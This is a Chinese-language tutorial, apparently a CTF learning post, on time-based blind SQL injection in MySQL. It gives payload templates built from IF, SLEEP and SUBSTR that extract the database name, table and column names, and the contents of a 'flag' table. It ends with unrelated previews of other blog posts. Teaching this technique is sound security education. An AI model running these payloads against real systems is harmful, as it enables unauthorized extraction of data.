Time-based sql injection 是指利用 SQL Injection 造成查询时的时间延迟,透过时间差来泄漏资料库中的资料。
Time-based sql injection 和 Boolean-based 一样属於 blind injection,可以在完全网页没有回显的情况下泄漏资料。
优点:即使 True / False 都无法对网页造成影响,Time-based 依然可以使用。
缺点:由於网路本身会有延迟,因此 time-based sql injection 通常不能将延迟的时间设得过短,以免有 noise。而这就会需要较长的时间来泄漏资料。
通常注入会先选择:UNION > 报错 > 布林盲注 > 时间盲注
IF
利用 SLEEP
可以造成延迟时间,搭配 IF
就可以轻易地泄漏出资料了。
SLEEP(duration)
:暂停 duration 秒
IF(expr1, expr2, expr3)
:以 expr1 为条件,如果 expr1 为真,则回传 expr2,反之回传 expr3。
判断 database 名称长度:
<原SQL语法>
IF(
LENGTH(database()) = 1,
sleep(5),
666
)
database()
取得当前资料库名称,利用 LENGTH()
取得长度,再与 1
比较,若长度确实为 1
,则延迟 5 秒。透过替换数字 1
,可以爆搜资料库长度。判断 database 名字:
<原SQL语法>
IF(
SUBSTR(database(), 1, 1) = 'a',
sleep(5),
666
)
SUBSTR
将资料库名称的第一个字元取出,与 a
相比较,若相等则延迟 5 秒,若不相等则替换为 b
,依此类推可以抱搜出第一个字元。SUBSTR(database(),2,1)
,依此类推,直到找到所有字元。判断 table 名称:
<原SQL语法>
IF(
SUBSTR((
SELECT `table_name`
FROM `information_schema`.`tables`
WHERE `table_schema` = database()
LIMIT 0, 1
), 1, 1) = 'a',
sleep(5),
666
)
LIMIT 0,1
也可以看作 LIMIT 1 OFFSET 0
,从第0笔资料开始取1笔资料判断栏位名称:
<原SQL语法>
IF(
SUBSTR((
SELECT `column_name`
FROM `information_schema`.`columns`
WHERE `table_name` = 'flag'
AND `table_schema` = database()
LIMIT 0, 1
), 1, 1) = 'a',
sleep(5),
666
)
判断内容:
<原SQL语法>
IF(
SUBSTR((
SELECT `flag`
FROM `CTF`.`flag`
LIMIT 0, 1
), 1, 1) = 'a',
sleep(5),
666
)
参考资料:https://zh.codeprj.com/blog/ac81341.html
Todolist 是JavaScript入门中的基础实作,能够练习基础的DOM操作。身为一个初学者就...
那今天我们来简单讲一下,如何建立自己的object纪录 如果大家有用过whois去查询AS或IP资讯...
曾经被系统的地雷,炸得支离破碎 很多好用的应用程序都对Windows不太友善,今天就让你轻松跨越这些...
为什麽会议,大家听不到我声音,却能听到我的音乐啊~~~~ 设来设去...到底怎麽回事啊... 答案是...
来部落格看图文并茂文章 补觉鸣诗 乞丐 当时刚退伍我就跟乞丐没两样,大学努力存的钱,都在当兵时消失殆...